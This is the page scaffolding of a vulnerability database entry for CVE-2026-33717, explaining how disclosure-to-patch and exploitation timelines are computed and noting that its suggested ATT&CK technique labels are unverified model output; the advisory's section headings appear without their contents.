Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-33717 (GCVE-0-2026-33717)

FKIE_CVE-2026-33717

GHSA-8WF4-C4X3-H952

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour